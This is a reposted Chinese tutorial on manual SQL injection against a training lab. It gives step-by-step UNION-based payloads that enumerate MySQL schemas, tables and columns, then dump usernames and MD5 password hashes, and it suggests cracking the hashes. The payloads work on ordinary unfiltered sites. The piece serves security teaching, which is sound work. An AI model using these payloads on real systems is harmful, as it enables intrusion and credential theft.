【零基础学习】手工SQL注入——MySQL、Access、SqlServer......_356f589a7df439f6f744ff19bb8092c0-程序员宅基地

技术标签: SQL Injection  手工注入  SQL注入  

原文地址:https://mozhe.cn/news/detail/324

SQL注入介绍

SQL注入,其实就是用户浏览器提交的变量内容,应用程序(代码可能是asp、aspx、php、jsp等)对浏览器提交过来的数据未过滤,直接去数据库查询,导致把数据库里面其他内容(如管理账户和密码)查询返回到页面上。先看个《墨者学院故事会》的一个小故事:

 

某个镇子里,银行保险柜做为一个公共区域帮居民存储贵重物品,为了防止错拿、多拿他人物品,银行规定:限制每人每次只能带一把开自己保险柜的钥匙,取自己的东西出入。在银行安检门口有个负责检查的安检员,安检员职责就是检查进入银行保险柜取物品的人每次是否只带了一把钥匙。

这个镇子上有多家银行,有个人名字叫“路人甲”,他去A银行取物品,A银行的安检员尽职尽责,对“路人甲”的全身上下、里里外外一丝不苟的检查N遍,确定他只带了一把自己的钥匙后,才放行让他进去取物品;后来“路人甲”去B银行去物品,他发现B银行的安检员是行长的小舅子,岗位就是个摆设,从未来上过班,进入保险柜也无人进行检查。所以“路人甲”带着他和他老婆的钥匙一起带来取,发现成功取到物品后,“路人甲”就多带把螺丝刀,通过安检门,利用螺丝刀打开行长小舅子的柜子,成功取走了他的物品,“路人甲”发现有行长的柜子是用钢板焊的,螺丝刀无法拆开,他就多带了把切割机,通过安检门,花了大功夫用切割机把柜子打开,把行长柜子里的东西全部取走了。

“路人甲”发现这样可以“致富”,他就整天从各个银行逛来逛去,去找安检不严的银行去取他人的东西。每个银行的安检门的摄像头都把他出入记录了下来,终于有一天,有家银行告诉了警察,警察调取了摄像头视频内容,把“路人甲”給逮捕了。根据相关法律法规,“路人甲”涉嫌未授权获取(入侵)他人物品,被判刑入狱。

 

我们把这个故事里面的每个内容分配个角色:

◆ 镇子==互联网

◆ 银行==业务系统(网站)

◆ 安检门==应用程序(代码)

◆ 安检员==过滤非安全代码(如SQL注入、XSS等危险代码)

◆ 保险柜的物品==存储在数据库中的数据,可能包含账户密码等敏感数据

◆ 小舅子保险柜的物品==业务系统(网站)的管理权限

◆ 行长保险柜的物品==服务器(主机)权限

◆ “路人甲”==操作浏览器的人

◆ “路人甲”的钥匙==提交的正常变量内容

◆ “路人甲”的老婆钥匙==提交的测试SQL注入的语句

◆ 螺丝刀==提交的SQL注入其他语句

◆ 切割机==WebShell或者提权的命令

◆ 摄像头==各种日志记录

◆ 警察==现实中的警察叔叔

◆ 法律法规==《刑法》、《网络安全法》

如果“路人甲”是一个安保公司的人,他来給银行做安全防护,他应该最清楚银行哪些地方是最薄弱的环节。可以給银行做个安全防护,镇上来取物品的人比较多,就多做几个大门(负载均衡),給银行的安检门外多加几层安检通道(防火墙、WAF、IPS、IDS等安全设备),把行长的小舅子换掉(修补漏洞),每天来检查安检人员是否在岗位上工作(定期检测),把保险柜和安检分别放在不同的房间(数据库与应用系统分离),全部摄像头开启(开启日志),除了这之外,还有多种安全防护方式。这里就不在讲故事了,真正到现实的业务系统的加固,是需要根据业务场景来决定的。

在线靶场地址

 

以下是一个Nginx+PHP+MySQL的业务场景靶场,其中php代码对参数内容未做任何过滤,导致SQL注入的产生,这个是最简单、基础的SQL注入练习环节,需要用户了解MySQL最基础的语法和数据库结构,如果基础较差,请自行补充MySQL基础知识。

MySQL手工注入靶场(本文所描述环境)https://www.mozhe.cn/bug/detail/82

手工SQL注入靶场专题https://www.mozhe.cn/Special/SQL_Injection

手工SQL注入详解

手工SQL注入过程,数据库执行的语句,是页面提交至服务器应用程序,应用程序获取id的值,然后把值拼接到查询语句中,在到数据库中查询,通过程序解析后,把结果返回在页面上,(使用时请将mozhe.cn替换成对应的靶场地址)。

开启靶场环境:

第1步:

页面提交:http://mozhe.cn/new_list.php?id=1

数据库执行语句:select * from news where id=1

页面返回描述:返回内容正常

分析解说:正常浏览页面,找到有参数的地方,如id。

第2步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=1

数据库执行语句:select * from news where id=1 and 1=1

页面返回描述:返回内容正常

分析解说:测试SQL语句。

第3步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2

数据库执行语句:select * from news where id=1 and 1=2

页面返回描述:返回内容为空

分析解说:因为sql语句中,1=2不成立。

第4步:

页面提交:http://mozhe.cn/new_list.php?id=1 order by 1

数据库执行语句:select * from news where id=1 order by 1

页面返回描述:返回内容正常

分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容正常,可以确定至少有1个字段。

 

第5步:

页面提交:http://mozhe.cn/new_list.php?id=1 order by 2

数据库执行语句:select * from news where id=1 order by 2

页面返回描述:返回内容正常

分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容正常,可以确定至少有2个字段。

 

第6步:

页面提交:http://mozhe.cn/new_list.php?id=1 order by 3

数据库执行语句:select * from news where id=1 order by 3

 

页面返回描述:返回内容正常

分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容正常,可以确定至少有3个字段。

第7步:

页面提交:http://mozhe.cn/new_list.php?id=1 order by 4

数据库执行语句:select * from news where id=1 order by 4

 

页面返回描述:返回内容正常

分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容正常,可以确定至少有4个字段。

第8步:

页面提交:http://mozhe.cn/new_list.php?id=1 order by 5

数据库执行语句:select * from news where id=1 order by 5

 

页面返回描述:返回内容为空

分析解说:通过SQL语句中order by N 来判断有几个字段,返回内容不正常,说明字段数少于5个。

第9步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,2,3,4

数据库执行语句:select * from news where id=1 and 1=2 union select 1,2,3,4

 

页面返回描述:在原来的标题上位置显示为2,内容的位置显示为3

分析解说:通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段,原本的查询应该是select id,title,contents,times from news where id=1,也就是说title标题是第2个位置显示,contents内容是在第三个位置显示。关于union的语法介绍,请自行补习功课。

第10步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,database(),version(),4

数据库执行语句:select * from news where id=1 and 1=2 union select 1,database(),version(),4

 

页面返回描述:在原来的标题上位置显示为mozhe_Discuz_StormGroup,内容的位置显示为5.7.22-0ubuntu0.16.04.1

分析解说:SQL语句中database()是查询当前数据库的名称(语法:select database();),一个服务器上可能有多个数据库,version()是查询当前数据的版本(语法:select version();),这里是这2个内容分别显示在第2、3的位置上,mozhe_Discuz_StormGroup为数据库,5.7.22-0ubuntu0.16.04.1为数据库版本和操作系统的版本。

第11步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1

 

页面返回描述:在原来的标题上位置显示为information_schema,内容的位置显示为3

分析解说:这里涉及到数据库information_schema、表SCHEMATA、列SCHEMA_NAME三个内容,数据库information_schema是MySQL系统自带的数据库,其中记录了当前数据库系统中大部分我们需要了结的信息,比如字符集,权限相关,数据库实体对象信息,外检约束,分区,压缩表,表信息,索引信息,参数,优化,锁和事物等等。说白了,就是这个默认自带的数据中,存储了MySQL的数据库名字、表名字、列名字和其他信息,通过information_schema我们可以查看整个MySQL实例的情况。information_schema的详细介绍请自行补习(最好是自己安装一个mysql,连上去看看),limit 0,1意思是从第0行起,取1行数据,information_schema为获取的第1个数据库名称。

第12步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1

 

页面返回描述:在原来的标题上位置显示为mozhe_Discuz_StormGroup,内容的位置显示为3

分析解说:limit 1,1意思是从第1行起,取1行数据,mozhe_Discuz_StormGroup为获取的第2个数据库名称。

第13步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 2,1

页面返回描述:在原来的标题上位置显示为mysql,内容的位置显示为3

 

分析解说:limit 2,1意思是从第2行起,取1行数据,mysql为获取的第3个数据库名称。

第14步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 3,1

 

页面返回描述:在原来的标题上位置显示为performance_schema,内容的位置显示为3

分析解说:limit 3,1意思是从第3行起,取1行数据,performance_schema为获取的第4个数据库名称。

第15步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 4,1

 

页面返回描述:在原来的标题上位置显示为sys,内容的位置显示为3

分析解说:limit 4,1意思是从第4行起,取1行数据,sys为获取的第5个数据库名称。

第16步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 5,1

页面返回描述:返回内容为空

分析解说:limit 5,1意思是从第5行起,取1行数据,返回为空,说明只有5个数据库information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。

 

 

第17步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1

页面返回描述:在原来的标题上位置显示为StormGroup_member,内容的位置显示为3

分析解说:查询对应数据库mozhe_Discuz_StormGroup的第1个数据表名称,limit 0,1,第1个表名为StormGroup_member。

第18步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1

页面返回描述:在原来的标题上位置显示为notice,内容的位置显示为3

分析解说:查询对应数据库mozhe_Discuz_StormGroup的第2个数据表名称,limit 1,1,第2个表名为notice。

第19步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 2,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 2,1

页面返回描述:返回内容为空

分析解说:返回为空,说明数据库mozhe_Discuz_StormGroup只有2个数据表,StormGroup_member、notice。

第20步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 0,1

页面返回描述:在原来的标题上位置显示为id,内容的位置显示为int(11)

分析解说:查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中的第1个字段名称与类型,第1个名称为id,类型:整型int(11)。

第21步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1

页面返回描述:在原来的标题上位置显示为name,内容的位置显示为varchar(20)

分析解说:查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中的第2个字段名称与类型,第2个名称为name,类型:字符型varchar(20)。

第22步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 2,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 2,1

页面返回描述:在原来的标题上位置显示为password,内容的位置显示为varchar(255)

分析解说:查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中的第3个字段名称与类型,第3个名称为passworde,类型:字符型varchar(255)。

第23步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 3,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 3,1

页面返回描述:在原来的标题上位置显示为status,内容的位置显示为int(11)

分析解说:查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中的第4个字段名称与类型,第4个名称为id,类型:整型int(11)。

第24步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 4,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 4,1

页面返回描述:返回内容为空

分析解说:返回为空,说明数据库mozhe_Discuz_StormGroup中的表StormGroup_member只有4个字段,名称为:id,name,password,status。

第25步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,count(*),3,4 from mozhe_Discuz_StormGroup.StormGroup_member

数据库执行语句:select * from news where id=1 and 1=2 union select 1,count(*),3,4 from mozhe_Discuz_StormGroup.StormGroup_member

页面返回描述:在原来的标题上位置显示为2,内容的位置显示为3

分析解说:查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中数据总数,共有2条数据。

第26步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

页面返回描述:在原来的标题上位置显示为mozhe-356f589a7df439f6f744ff19bb8092c0-0,内容的位置显示为3

分析解说:查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中的第1条数据的name、password、status的内容,三者之间用-连接起来,CONCAT的是把产生的字符串连接起来,这个地方拼接在一起时为了在一个地方全部显示出来。可以获得第一条数据的name账户为mozhe,密码password为356f589a7df439f6f744ff19bb8092c0(md5加密后的密码,可通过解密获到明文),status账户状态为0。

第27步:

页面提交:http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1

数据库执行语句:select * from news where id=1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1

页面返回描述:在原来的标题上位置显示为mozhe-6380305ffa6520047acfe95d29ae707b-1,内容的位置显示为3

分析解说:查询数据库mozhe_Discuz_StormGroup的表StormGroup_member中的第2条数据的name、password、status的内容,三者之间用-连接起来,CONCAT的是把产生的字符串连接起来,这个地方拼接在一起时为了在一个地方全部显示出来。可以获得第一条数据的name账户为mozhe,密码password为6380305ffa6520047acfe95d29ae707b(md5加密后的密码,可通过解密获到明文),status账户状态为1。

 

把最终MD5后的密码解密出来,就可以得到后台登录的明文密码了。

这个过程中,所有的SQL注入语句未做任何的转义和注释,在实际过程中,可能遇到对注入点进行处理,闭合的引号,括号等要先进行闭合,字符串的十六进制,注释掉多余的语句等等。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/mozhe_/article/details/80607317

智能推荐

C#连接OPC C#上位机链接PLC程序源码 1.该程序是通讯方式是CSharp通过OPC方式连接PLC_c#opc通信-程序员宅基地

文章浏览阅读565次。本文主要介绍如何使用C#通过OPC方式连接PLC,并提供了相应的程序和学习资料,以便读者学习和使用。OPC服务器是一种软件,可以将PLC的数据转换为标准的OPC格式,允许其他软件通过标准接口读取或控制PLC的数据。此外,本文还提供了一些学习资料,包括OPC和PLC的基础知识,C#编程语言的教程和实例代码。这些资料可以帮助读者更好地理解和应用本文介绍的程序。1.该程序是通讯方式是CSharp通过OPC方式连接PLC,用这种方式连PLC不用考虑什么种类PLC,只要OPC服务器里有的PLC都可以连。_c#opc通信

Hyper-V内的虚拟机复制粘贴_win10 hyper-v ubuntu18.04 文件拷贝-程序员宅基地

文章浏览阅读1.6w次,点赞3次,收藏10次。实践环境物理机:Windows10教育版,操作系统版本 17763.914虚拟机:Ubuntu18.04.3桌面版在Hyper-V中的刚安装好Ubuntu虚拟机之后,会发现鼠标滑动很不顺畅,也不能向虚拟机中拖拽文件或者复制内容。在VMware中,可以通过安装VMware tools来使物理机和虚拟机之间达到更好的交互。在Hyper-V中,也有这样的工具。这款工具可以完成更好的鼠标交互,我的..._win10 hyper-v ubuntu18.04 文件拷贝

java静态变量初始化多线程,持续更新中_类初始化一个静态属性 为线程池-程序员宅基地

文章浏览阅读156次。前言互联网时代,瞬息万变。一个小小的走错,就有可能落后于别人。我们没办法去预测任何行业、任何职业未来十年会怎么样,因为未来谁都不能确定。只能说只要有互联网存在,程序员依然是个高薪热门行业。只要跟随着时代的脚步,学习新的知识。程序员是不可能会消失的,或者说不可能会没钱赚的。我们经常可以听到很多人说,程序员是一个吃青春饭的行当。因为大多数人认为这是一个需要高强度脑力劳动的工种,而30岁、40岁,甚至50岁的程序员身体机能逐渐弱化,家庭琐事缠身,已经不能再进行这样高强度的工作了。那么,这样的说法是对的么?_类初始化一个静态属性 为线程池

idea 配置maven,其实不用单独下载Maven的。以及设置新项目配置,省略每次创建新项目都要配置一次Maven_安装idea后是不是不需要安装maven了?-程序员宅基地

文章浏览阅读1w次,点赞13次,收藏43次。说来也是惭愧,一直以来,在装环境的时候都会从官网下载Maven。然后再在idea里配置Maven。以为从官网下载的Maven是必须的步骤,直到今天才得知,idea有捆绑的 Maven 我们只需要搞一个配置文件就行了无需再官网下载Maven包以后再在新电脑装环境的时候,只需要下载idea ,网上找一个Maven的配置文件 放到 默认的 包下面就可以了!也省得每次创建项目都要重新配一次Maven了。如果不想每次新建项目都要重新配置Maven,一种方法就是使用默认的配置,另一种方法就是配置 .._安装idea后是不是不需要安装maven了?

奶爸奶妈必看给宝宝摄影大全-程序员宅基地

文章浏览阅读45次。家是我们一生中最重要的地方,小时候,我们在这里哭、在这里笑、在这里学习走路,在这里有我们最真实的时光,用相机把它记下吧。  很多家庭在拍摄孩子时有一个看法,认为儿童摄影团购必须是在风景秀丽的户外,即便是室内那也是像大酒店一样...

构建Docker镜像指南,含实战案例_rocker/r-base镜像-程序员宅基地

文章浏览阅读429次。Dockerfile介绍Dockerfile是构建镜像的指令文件,由一组指令组成,文件中每条指令对应linux中一条命令,在执行构建Docker镜像时,将读取Dockerfile中的指令,根据指令来操作生成指定Docker镜像。Dockerfile结构:主要由基础镜像信息、维护者信息、镜像操作指令、容器启动时执行指令。每行支持一条指令,每条指令可以携带多个参数。注释可以使用#开头。指令说明FROM 镜像 : 指定新的镜像所基于的镜像MAINTAINER 名字 : 说明新镜像的维护(制作)人,留下_rocker/r-base镜像

随便推点

毕设基于微信小程序的小区管理系统的设计ssm毕业设计_ssm基于微信小程序的公寓生活管理系统-程序员宅基地

文章浏览阅读223次。该系统将提供便捷的信息发布、物业报修、社区互动等功能,为小区居民提供更加便利、高效的服务。引言: 随着城市化进程的加速,小区管理成为一个日益重要的任务。因此,设计一个基于微信小程序的小区管理系统成为了一项具有挑战性和重要性的毕设课题。本文将介绍该小区管理系统的设计思路和功能,以期为小区提供更便捷、高效的管理手段。四、总结与展望: 通过本次毕设项目,我们实现了一个基于微信小程序的小区管理系统,为小区居民提供了更加便捷、高效的服务。通过该系统的设计与实现,能够提高小区管理水平,提供更好的居住环境和服务。_ssm基于微信小程序的公寓生活管理系统

如何正确的使用Ubuntu以及安装常用的渗透工具集.-程序员宅基地

文章浏览阅读635次。文章来源i春秋入坑Ubuntu半年多了记得一开始学的时候基本一星期重装三四次=-= 尴尬了 觉得自己差不多可以的时候 就吧Windows10干掉了 c盘装Ubuntu 专心学习. 这里主要来说一下使用Ubuntu的正确姿势Ubuntu(友帮拓、优般图、乌班图)是一个以桌面应用为主的开源GNU/Linux操作系统,Ubuntu 是基于DebianGNU/Linux,支..._ubuntu安装攻击工具包

JNI参数传递引用_jni引用byte[]-程序员宅基地

文章浏览阅读335次。需求:C++中将BYTE型数组传递给Java中,考虑到内存释放问题,未采用通过返回值进行数据传递。public class demoClass{public native boolean getData(byte[] tempData);}JNIEXPORT jboolean JNICALL Java_com_core_getData(JNIEnv *env, jobject thisObj, jbyteArray tempData){ //resultsize为s..._jni引用byte[]

三维重建工具——pclpy教程之点云分割_pclpy.pcl.pointcloud.pointxyzi转为numpy-程序员宅基地

文章浏览阅读2.1k次,点赞5次,收藏30次。本教程代码开源:GitHub 欢迎star文章目录一、平面模型分割1. 代码2. 说明3. 运行二、圆柱模型分割1. 代码2. 说明3. 运行三、欧几里得聚类提取1. 代码2. 说明3. 运行四、区域生长分割1. 代码2. 说明3. 运行五、基于最小切割的分割1. 代码2. 说明3. 运行六、使用 ProgressiveMorphologicalFilter 分割地面1. 代码2. 说明3. 运行一、平面模型分割在本教程中,我们将学习如何对一组点进行简单的平面分割,即找到支持平面模型的点云中的所有._pclpy.pcl.pointcloud.pointxyzi转为numpy

以NFS启动方式构建arm-linux仿真运行环境-程序员宅基地

文章浏览阅读141次。一 其实在 skyeye 上移植 arm-linux 并非难事,网上也有不少资料, 只是大都遗漏细节, 以致细微之处卡壳,所以本文力求详实清析, 希望能对大家有点用处。本文旨在将 arm-linux 在 skyeye 上搭建起来,并在 arm-linux 上能成功 mount NFS 为目标, 最终我们能在 arm-linux 里运行我们自己的应用程序. 二 安装 Sky..._nfs启动 arm

攻防世界 Pwn 进阶 第二页_pwn snprintf-程序员宅基地

文章浏览阅读598次,点赞2次,收藏5次。00为了形成一个体系,想将前面学过的一些东西都拉来放在一起总结总结,方便学习,方便记忆。攻防世界 Pwn 新手攻防世界 Pwn 进阶 第一页01 4-ReeHY-main-100超详细的wp1超详细的wp203 format2栈迁移的两种作用之一:栈溢出太小,进行栈迁移从而能够写入更多shellcode,进行更多操作。栈迁移一篇搞定有个陌生的函数。C 库函数 void *memcpy(void *str1, const void *str2, size_t n) 从存储区 str2 _pwn snprintf

推荐文章

热门文章

相关标签